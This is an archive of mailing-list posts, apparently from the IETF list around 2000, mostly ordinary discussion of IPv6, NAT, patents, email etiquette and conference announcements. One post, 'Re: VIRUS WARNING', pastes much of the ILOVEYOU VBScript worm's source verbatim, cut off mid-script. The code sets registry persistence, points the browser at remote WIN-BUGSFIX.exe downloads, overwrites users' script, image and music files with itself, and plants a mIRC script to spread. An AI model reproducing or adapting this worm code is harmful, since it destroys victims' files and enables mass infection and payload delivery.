In message [EMAIL PROTECTED], Alan Simpkins t yped: Valdis, I agree with you a hundred percent. The most expensive part of infrastructure is pulling the cables/fiber necessary to build the infrastrucuture. thats why intelsat and a cosortium of telcos has a charity that built a box that is solar powered and provides n gsm phones access + 1 64kbps uplink/downlink to geostatinary atellites actualyl, a LOT of places that are really poor in the world dont even have electricty- but they can get batteries and if they use sms (e.g. for calling emergency service/flying doctors/vets etc), they can make them last quite a long time --- [EMAIL PROTECTED] wrote: On Fri, 30 Jun 2000 00:41:37 +0200, Anthony Atkielski [EMAIL PROTECTED] said: If they are that lacking in mere wires, they probably aren't in a position to profit from access to the Internet in the first place. That is, if they lack telephones (and that's all they need for broadband, or at least it's the better part of the battle), why would they be surfing the Web? First things first. The fact that they lack wires doesn't mean they lack telephones. Remember that wires are expensive to pull, especially for those 3 houses out on the far side of the mountain down the dirt road. Countries without landlines are not going to be a part of the global economy unless they upgrade in a major way very soon. You got this wrong. Countries without *connectivity* will be screwed. There's no *obvious* requirement that there be a landline involved. Having said that, I'm *not* a WAP proponent. ;) -- Valdis Kletnieks Operating Systems Analyst Virginia Tech ATTACHMENT part 2 application/pgp-signature __ Do You Yahoo!? Get Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ cheers jon
Re: Bluetooth is a flaucipaucinihilipilification...
In message [EMAIL PROTECTED], "Parkinson, Jonathan" typed: Anyone care to start a discussion about Bluetooth and how it may/will impact the future of communications ? And the new generation of Virus's that could come along with this technology. no. but a email thread on bluetooth is just scsi without copper might be interesting:-) j.
Re: Free Protocols Foundation Policies and Procedures -- Request For Review
In message [EMAIL PROTECTED], Mohsen BANAN-Public typed: I request that you review the attached document and email us your comments to: mailto:[EMAIL PROTECTED] its a nice idea there is, after all, a free market in standards orgaanisations however, the ietf is the one with the monopoly at the moment...so i thinkwithout an RFCm you are left holding an anti-trust suit without a lawyer to bet on but your meta-case in terms of the content is fine cheers job
Re: mail sandbox wall authority, inward and outbound
the problem with sandboxes is that they are monolithic as is this discussion of mail - if i have a notion of a compartmentalized system with users, and access rights (like almost all operating systems from the late 60s onwards, but not like simple desk top single user executives as found on many personal computers today unfortuantely), then i can have mail agents run scripts, but with the authorities of the user, perhaps restricted further by some context, and i can then configure arbitrary rights w.r.t each possible tool that the script might invoke - some of these can be gathered togethre under the headings of "file input, output, exectution, creation etc", and others under the rights of "audio/video/mouse/itneraction with user", "network i/o to such and such an address (list)", etc for conveneicnce and expressiveness in the ACL system (other management tools like user, other, groups etc help scale the task) and then i can design a set of sensible securioty policies for a site, and employ an expert to configure things for everyone - typically, with good systems, defaults and default operating system notions of user, file permissions, sudo type access etc, will suffice... iff you start with a decent system; otherwise, forget it - someone will always find a way to set things up disastrously wrong, because it will be the only way to get work done this is a standad problem with systems that impose all or nothing security - either they leak like a sive or users find them unusable... so the solution is to ditch indecent systems. In message [EMAIL PROTECTED], Leonid Yegoshin typed : From: "James P. Salsman" [EMAIL PROTECTED] A MUA might ask the console operator for permission to proceed when: 1. A mail message wants to run a program. (e.g., ECMAscripts.) 2. An attachment is executable. (Nearly universal practice.) 3. A program wants to write to a file. (Usually not trapped more than once per execution if at all.) 4. A program wants to read your address book. (Does any mail system that offers this functionality limit it at all?) 5. A program wants to send mail. (e.g., having MAPI's Send notify the user and queue the proposed message as a draft instead of sending.) 6. A program wants to send a file to somewhere. Or any permanently stored information (like cookie but not limited). - Leonid Yegoshin. cheers jon
Re: WORM WARNING
if once it was a virus which it wasnt it surely is a worm now of course, microsoft have succeeded beyond david tenenhouses wildest dreams in active network deployment :-| j.
Re: IPv6: Past mistakes repeated?
In message [EMAIL PROTECTED], Paul Robinson typed: Even better, why doesn't the IETF employ a bunch of people dressed in black suits and wearing sun glasses to go around and 'enforce' IPv6... we do, but you keep forgetting. :-) j. iab member, and official "man in black"
Re: VIRUS WARNING music at pittsburg?
1/ i think microsoft and the alleged hacker have provived an exxcellent lesson in active networks 2/ is anyone interested in jamming at the next IETF (folk, jazz, rock, thrash, triphop etc - you know, primal scream...) - i can bring a guitar (or bass or flute or something...) but local folks would be easier on the wrists!!! j.
Re: VIRUS WARNING
"noone ever got fired for buying ibm"
this was ironic coz ibm was expensive, but worked
someone should get fired for buying someone elses prodiucts
irony
no class action
just reality checkpoint time...
for a systemic view,
some stuff is engineered better than other stuff - see mark handly's
excellent letter to the new york times, post melissa
the best reason for diversity is not anti-capitalist, its darwinian.
meanwhile, eres some visaual basic.
j.
cut here and paste to yor favourite waste disposal===
filename="LOVE-LETTER-FOR-YOU.TXT"
rem barok -loveletter(vbe) i hate go to school
rem by: spyder / [EMAIL PROTECTED] / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem"\MSKernel32.vbs")
c.Copy(dirwin"\Win32DLL.vbs")
c.Copy(dirsystem"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSK
ernel32",dirsystem"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServ
ices\Win32DLL",dirwin"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw65
87345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546
786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOh
fgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUg
qwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN
-BUGSFIX",downread"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec"\"bname".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eqfolderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini")
or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if
mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on
Re: draft-ietf-nat-protocol-complications-02.txt
In message [EMAIL PROTECTED], Masataka Ohta ty ped: Is it fair if providers using iMODE or WAP are advertised to be ISPs? Is it fair if providers using NAT are advertised to be ISPs? My answer to both questions is No, while they may be Internet Service Access Providers and NAT users may be IP Service Providers, they don't provide Internet service and are no ISPs. i agree: in the UK, i would say that someone claiming internet access via WAP would be in breach of the trades description act. Any oppositions? not from here (for wap - i dont know enough about iMODE to comment) Masataka Ohta cheers jon
Re: draft-ietf-nat-protocol-complications-02.txt
In message [EMAIL PROTECTED], "J. Noel Chiappa" typed: right, noels wrong. Noel is happy to wait, and see who's right. (I've been through this exact same experience before, with CLNP, so I understand the life-cycle.) So far, I've been waiting for quite a few years with IPv6, and so far I'm right. Let's see, how many years have these standards been out, and how much deployment has there been? Hmm, RFC-1883 was in December 1995. Can you point me to *any* other IETF product that, 5 years after the Proposed Standard came out, still hadn't been significantly deployed - and then went on to be a success? No? wrong - multicast. I didn't think so. read again - LOTS of things have seen almost no deployment since being standar,d and lots of things haev seen deploymewnt (e.g. napster hit around 15% of college traffic) without even a breath of an i-d NATs are not only bad e2e karma, they are bad tech I'm not denying that - and I've said as much. All address-sharing devices are problematic, and some (e.g. NAT boxes) are downright disgusting kludges. However, history shows that bad tech doesn't magically replace itself, it has to be replaced by an economically viable alternative. (For an example of this principle in action, note that the vast majority of cars are still powered by reciprocating internal-combustion engines... talk about poor basic concept! But I digress) i agree... Judging from the real world out there, it appears that IPv6 isn't a viable alternative. i agree its not worth holding one's breath... cheers jon
Re: draft-ietf-nat-protocol-complications-02.txt
henning, good stuff... people would do well to read this - also, all attempts to fix NATs so as to ameliorate these problems have _exactly_ the same deployment complexity as IPv6 - there's a quote somewhere from yakov rehkter to this effect (can't find it exactly, but he was coming the ther way saying why dont we use NATs instead of v6 - same difference) by the way, at least one router vendor has now lost a large contract to a competitor becuase it couldn't provide v6 routing (forwardig, yes, routing, no) so perhaps we'll see the situation change quite fast now:-) In message [EMAIL PROTECTED], Henning Schulzrinne typed: It might be useful to point out more clearly the common characteristics of protocols that are broken by NATs. These include, in particular, protocols that use one connection to establish another data flow. Such protocols include ftp, SIP and RTSP (the latter is not mentioned yet in the draft, but NATs also interfere with its operation). Note that unless we forego such control protocol designs altogether, NATs in principle break these unless every host has an external DNS mapping. (Thus, in reference to a recent message to just design NAT-friendly protocols, this means in practice that such "out-of-band" designs could not be supported by this NATy version of the Internet. In effect, this leads to the abomination of carrying real-time data in HTTP connections.) Other protocol designs are those that are symmetric rather than client-server based. This affects all Internet telephony or event-based protocols (IM and generalizations) unless they maintain an outbound connection with a server acting as their representative to the globally routed Internet. The latter obviously does not address the media stream addressing problems. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs cheers jon
Re: Source address (offtopic)
In message [EMAIL PROTECTED], Matt Crawford typed: The source address of a datagram was an architectural mistake, and should never have been in the mandatory packet format. Nahh, the mistake was ignoring the source address when routing forwarding. thats an implementation detail not a design mistake. there's plenty of fast classifier algorithms and data structures now for the 5-tuple which reender this debate academic - in fact, i think the lack of a idee fixe about flow id, versus src or dst or src+dst based routing, versus route hint +eid and so on is the _strength_ of the tcp/.ip model- the very lack lack of strong noel complains about foresight led to diversity and design freedom cheers jon
Re: recommendation against publication of draft-cerpa-necp-02.txt
Bottom line is that IP-layer interception - even when done "right" - has fairly limited applicability for location of nearby content. Though the technique is so widely mis-applied that it might still be useful to define what "right" means. That sounds overly optimistic. user experience/expectation context is verything TCP end2end ness? if you access a web page from our server, chances are its fectehc by one of several httpds from one of a LOT of NFS or samba servers, which, depending on local conditions. if you send audio on the net, its quite possible it goes through several a2d and d2a conversions (.. thru a PSTN/SIP or 323 gateway) - in fact, if you speak on an apparently end2end PSTN transatlantic phone call, chances are your voice is digitzed and re-digitzed several times by transcoder/compressers its the 21st century: f you dont use end2end crypto, then you gotta expect people to optimize their resources to give you the best service money can buy for the least they have to spend. hey, when you buy a book written by the author, it was usually typeset, proofread, and re-edited by several other people even this email may not be from me... cheers jon "every decoding is an encoding" maurice zapp from the Euphoric State University, in small world, by david lodge
Re: A thought about patents
as ye sow, so shall ye weep...in reading this thread i guess i saw several problems: oxymoron alert "thought...patent" tautology alert "sufficiently expensive...lawyer" internet bogon alert "find the server" is a server where the ip address, DNS name, lat/long of the CPU, memory, disk, or cache, transprent or otherwise is" sorry, all bets are off about this dicussion except in the presence of the european union, where all bets are subject to VAT :-) In message [EMAIL PROTECTED], John Stracke typed: Masataka Ohta wrote: Even if it's not true in the general case, a sufficiently expensive lawyer might be able to convince the court that, since the Internet makes location irrelevant, the location of the infringement is irrelevant. that US patents are applicable even if both servers, clients and network inbetween are all located outside of US? No, not that; but, if the server is outside the US and the client is inside, then maybe. -- /=\ |John Stracke| http://www.ecal.com |My opinions are my own. | |Chief Scientist || |eCal Corp. |"Where's your sense of adventure?" "Hiding under| |[EMAIL PROTECTED]|the bed." | \=/ cheers jon
Re: Topology Discovery in IP Networks
infocom 2000 had 2 sessions (8 papers) from the main people - check out their web site (papers are online..ia ieee) In message [EMAIL PROTECTED], Barbara Bao typed: Dear Friends, For my assignment, I need to know algorithms for discovering layer-3 and layer-2 network topology. Where can I find those papers? Any information and advice are highly appreciated. Barbara cheers jon
Re: A thought about patents
My thought is this: I'd like to see a presumption of lack of novelty if an idea gets raised in a public forum, even if it happens _after_ a patent has been applied for, unless it can be shown that the information came from leakage of proprietary information. intersting idea i would liek to offer another:- perhaps the length of patent protection should be directly related to the cost of developing an idea - in pharmaceutical industry, long patents make sense because of the large investment in testing a new drug safely - similar i nthe automotive and aero industries in software, its pretty obvious that this is silly - one-klik took someone about 6 nanoseconds to think up, and 3 to test... Maybe such an approach might ameliorate the "gold rush" mentality to be the first to slap a patent on an idea or technique that is coming to be accepted art in the normal process of technology evolution. the ietf has a very good protection in principle against people who think that a patent is power to "own" a standard - it would be nice to try to identify the mistaken "stakeholders" who belive that patents are a weapon... cheers jon
Re: Re[2]: Re: Critically compare the congestion control on TCP/
the best work i know of on TCP behaviour _over_ ATM services is the thesis (and papers by) Olivier Bonaventure - http://www.info.fundp.ac.be/~obo/ cheers jon
history
i was looking thru some old archives (1982 on - yes, thats right, from just before this years college kids were born) of the original tcp-ip maillist and came across a message from mark crispin about a broken vax mailer flooding neighbor mailservers with SYNs..amazing how nothings new see http://www-mice.cs.ucl.ac.uk/multimedia/misc/tcp_ip/ for a slightly incomplete archive of it all i couldn't find any other archive but if someoen does have it, let me know and i'll delete mine and point at theirs... one interesting thing is to look at pre-DNS email addresses - so there used to be this single file we'd all FTP from ISI with the hosts.txt listing of name/addresses - then one day we distributed itnow of course has to haev a .com, and the nameservers have to zone xfer it all the time tooso plus ca change, plus c'est le mome raths cheers jon
Re: IETF Adelaide and interim meetings for APPS WGs
to people that think that the internet is mostly US centric, and will go on being so, and that this is relevant to the IETF anyhow - wrong, wrong, and also wrong! um the Internet is now mostly commercial - the Eu and Asia each have MORE money than the US, and also have growth economies. if you work for a vendor (s/w, h/w, services) and can't find a reason to visit, then yo uare missing an opportunity to "enhance shareholder value" - as a shareholder, i would be shocked and dismayedand think hard about other vendors... as an academic/researcher, too, generally, i can easly find good reasons to visit people with other viewpoints, and requirements and inventions... note that microsoft and cisco (examples - there are lots more) both set up strong european presences recently for these reasons. They also have strong asia/pacific presence - using current IETF national representation as a marker for where to hold meetings is going to lag, rather than lead the right thing to do imho note also, that provided the IETF doesnt start mimicing ITU in choosing meeting location, a lot of places outside the US offset travel costs by cheaper accomodation costs.significantly in some cases (i admit london england is not a good example for this, though it is pretty cheap to get to from just about anywhere on average:-) cheers jon
Re: IETF Adelaide and interim meetings for APPS WGs
In message [EMAIL PROTECTED], "Parkinson, Jonathan" typed: There is more than America out there ? ;-) you mean america still exists - i thought it was actually a myth like atlantis -Original Message- From: John Stracke [mailto:[EMAIL PROTECTED]] Sent: Tuesday, February 15, 2000 3:21 PM To: [EMAIL PROTECTED] Subject: Re: IETF Adelaide and interim meetings for APPS WGs Graham Klyne wrote: But I am still uncomfortable with it. It implies that, somehow, any non-US participant is somehow a second class citizen, who is permitted to attend purely as a concession by the US elite whose organization this is. Maybe that also is true -- but I don't have to like it. I very much prefer the "pretense" In other words, the pretense is self-fulfilling: by claiming (and striving) to be global, the IETF avoids driving away non-US participants, which makes the IETF more truly global. -- /\ |John Stracke| http://www.ecal.com |My opinions are my own. | |Chief Scientist |===| |eCal Corp. |Yes, sir, we've graphed the data. It's a smiley| |[EMAIL PROTECTED]|face, sir. | \/ cheers jon
Re: Email messages: How large is too large? size matters, not
the royal society is going to publish papers from this meeting - the
talks are being made avaiallbe on a best effort (NOT distributed to
people, but made availabe) which seems to me to quite a different
thing from unsolicted unreadable content
if you care, the draft paper and talk i gave are at
ftp://cs.ucl.ac.uk/darpa/royal-society-network-modelling.ps.gz
http://www.cs.ucl.ac.uk/staff/jon/rs/
frank kelly's much more interrsting
paper (as announced at the meeting) is via
http://www.statslab.cam.ac.uk/~frank/smi.html
("Models for a self-managed Internet ")
In message [EMAIL PROTECTED], L
loyd Wood typed:
jon crowcroft writes:
i dont care what SIZE it is - i only care whether i have the
application to view it - microsoft users sdjhould be educated in the
simple fact - not everyone has word or powerpoint or wants to buy
them - so NEVER EVER send a word or ppt or excel attachment except
to someone you are co-authoring a paper/talk/expense claim with and
have agreed the package in advance by text mail
But distributing a file in an unspecified version of powerpoint which
then appears on the web to be downloaded by an reader base with an
unknown toolset is perfectly acceptable?
see the word _attachment_ above.
http://www.statslab.cam.ac.uk/%7Erichard/research/topics/royalsoc1999/crowcroft.html
[Royal Society 'network modelling in 21st century' two-day symposium
http://www.statslab.cam.ac.uk/%7Erichard/research/topics/royalsoc1999/
diffserv, router design, optical and Internet economics stuff. alas,
neither the slides Van Jacobson prepared nor the slides he actually
whipped up and gave in response to other presentations are available
yet. And you'll need powerpoint for some, in the absence of
postscript files rendered from them.]
publically avaialble standards exist for the excchange of text and
graphics, and we do not need to tolerate a monopoly who fails to
serve the maximum public good by failing to publish their
interchange formats.
We don't need to tolerate them. We don't have to promote them, either.
But then that's a matter of convenience; a measure of the difference
between individual and societal good.
sure - and we could not even bother giving out the talks in any
form - would be nice if people said _thanks_ ever.
cheers
jon
Re: Email messages: How large is too large? too much
einstein might have said that matter and energy are interchangeable but space and time are not i can buy a 10Gig disk for a lot less than the average per diem pay in US/EU there's too MANY emails, not too MUCH of each j.
Re: WAP
In message [EMAIL PROTECTED], Scott Bradner typed: WAP is not an IETF activity - it is from the WAP Forum http://www.wapforum.org/ and nearly as many clues as wires happy winter solstice cheers jon
Re: Email messages: How large is too large?
In message Pine.SOL.3.96.991215093330.5839F-10@mailer1, Jon Knight typed: o Internet driving licences may seem a bit naff, but there is value in requiring people to migrate to a power-user status by at least trying to teach them that there are consequences to using tools in distributed communications Just to point out that there appears to be something called the European Computer Driving License (see URL:http://www.wlv.ac.uk/pers/csdpages/ ecdl.htm for instance). I've no idea what sort of Internet training one minor difference between the internet and roads is that on roads, most people are ok drivers, whereas on the internet, you have to follow Postel's rule - assume everyone else is a psycopath _and_ behave like a philanthropist there's a special course in +defensive+ driving you can do which is close - if you've ever tried going above 120mph on 101, you'll know exasctly what i mean provides to end users but I would guess its more the "which button to press in IE 5" type of training course. I'll find out early next year as my girlfriend who is a public librarian is going to have to go on the course. User education is a tricky subject. One of my collegues in the Networks Team is currently on the phone explaining to an end user that sending an email with a large Word attachment to all 15000 users on campus isn't a good idea as our mail servers will melt. Despite our email training courses telling people this, its a regular request, especially from non-academic departments who are used to doing paper based mass mailings to students. Funny thing is that depite us offering to put the Word document on a web page and then send a small email pointing at it, they=A0might well just decide to flood the campus postal mail still (has happened before). Managing this even on a single campus is a headache. Tatty bye, Jim'll cheers jon
IP QoS workshops conferences and journals
The First International Workshop Quality of future Internet Services (QofIS'2000) 25- 26 September 2000 in Berlin, Germany http://www.fokus.gmd.de/events/qofis2000/ The purpose of this workshop is to present and discuss the design and implementation techniques for QoS Engineering for Internet services. This workshop explicitly focuses on end to end services over QoS assured Internet, on the issues of service creation, configuration and deployment. Important Deadlines: 29 March 2000: Papers, demonstrations and panel proposals 29 May 2000: Authors notified of acceptance 07 July 2000: Camera-ready copies of papers and panelists' position papers due For all details visit http://www.fokus.gmd.de/events/qofis2000/ - see also IWQoS 2000 at CMU http://www.cs.cmu.edu/~iwqos/ and sigcomm 2000 http://www.acm.org/sigcomm/sigcomm2000 and Special Issue of Computer Communications on QoS-Sensitive Network Applications and Systems and JOURNAL OF COMMUNICATIONS AND NETWORKING (JCN) CALL FOR PAPERS - SPECIAL ISSUE ON QoS IN IP NETWORKS JUNE, 2000
Re: Email messages: How large is too large?
In message [EMAIL PROTECTED], Valdis.Kletnieks@vt .edu typed: --==_Exmh_-374731876P a) Do you have an incoming anonymous FTP drop *of your own*? b) Are you willing to set up incoming FTP for one file? c) What if you're one of the millions of people who use an ISP that doesn't provide FTP drops? plenty of ISPs offer free web space (e.g. 5M is typical) - for a file of size nMbytes , all you need is to get n/5 internet accounts , run split on the file - hey you could use slightly more (e..g n) and even run a fancy layered fec dithering crypto algorithm and have a file that noone could _remove_ without removing more than 4n sites - its called an "eternity" service and is a possible very valuble service indeed (reliable and also hard for centralized authorities to attack) OK, that doesn't seem to be viable. Let me store it and you pick it up: d) I happen to be lucky enough to have my own workstation. However, you can't FTP to it because I have FTP disabled. If I don't have an FTP drop, you can't pick it up. e) If I didn't have a Web page area big enough to hold the file, how would I send it to you? Remember that many freebie sites put a 5M or 10M quota on the users... Of course, the right answer is something like this: 1440 SIFT/UFT: Sender-Initiated/Unsolicited File Transfer. R. Troth. July 1993. (Format: TXT=17366 bytes) (Status: EXPERIMENTAL) However, there's few enough sites running it that it's not really an alternative. Heck, I *know* Rick Troth, and I'm not even running one, mostly due to a lack of anybody else for it to talk to. Perhaps it's time to dust that RFC off and see what can be done with it... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-374731876P Content-Type: application/pgp-signature -BEGIN PGP MESSAGE- Version: 2.6.2 iQCVAwUBOFVSLtQBOOoptg9JAQHU/QQAs9Co7vgq6IElSjIlizIJD9i+vA4VjhNS cObsuiF0rwXHoYdrTlyJKm0FO4Yrs+J5CpPKGRL3ky6sR7FaD32lhg0PKZBlTC4s GkVcNNp8mJoYOIcscf07bRtn0GzyJHtzRxpqaVbK9k0whb5j/Or91CTdnEPU5OAS obDidnOhNfA= =KdSF -END PGP MESSAGE- --==_Exmh_-374731876P-- cheers jon
Re: IP network address assignments/allocations information?
In message [EMAIL PROTECTED], Yakov Rekhter typed: Consider an alternative where the client decides to use IPv6. Granted, the client could get enough IPv6 addresses for all purposes, regardless of whether these purposes essential or not. But then in order for that client to communicate with the rest of the folks, the client would likely to use NAT (as the rest of the folks would still use IPv4). its economics - if one large client uses IPv6, then so will others eventually as its cheaper for all of them colelctively than for them to go on using NATs. the cost of using NAT wouldn't go away. But in addition, this alternative would cause the client to swallow the cost of transition from IPv4 to IPv6 in its infrastructure. right - the problem is gettng the FIRST person to go - clearly a PROVIDER could consider swallowing the cost (i.e. pay cisco to implement, and debug a deployed IPv6 backbone and then chase customer problems) - why? because in the LONG run there's more subscribers selling content, doing busienss in a fully IP (v6) connected net than on a NAT disconnect, and so there's more money for the provider btw, i think the address space stuff for subscribers using NATs is often (not always) hokum - its mostly that they can't be bothered to design a decent addressing architecture for their intranets. cheers jon
Re: IP network address assignments/allocations information?
In message [EMAIL PROTECTED], "J. Noel Chiappa" typed: The various approaches to growing the Internet (IPv6, NAT's, etc) all have costs and benefits - yes, but propviders don't actually ASK the users what the COST is of a NAT the BT ADSL trial in london uses NATs and all the folks i know who are what BT might call "advanced" users (i.e. people who want to export files on web servers, use multicast apps etc), find it a REAL PAIN in the backside comapred to their old school/university 'always on' access but at no point in any of the market research on the trial users did the provider bother asking about this, so they remain cluelessas do many NAT Proponents. cheers jon
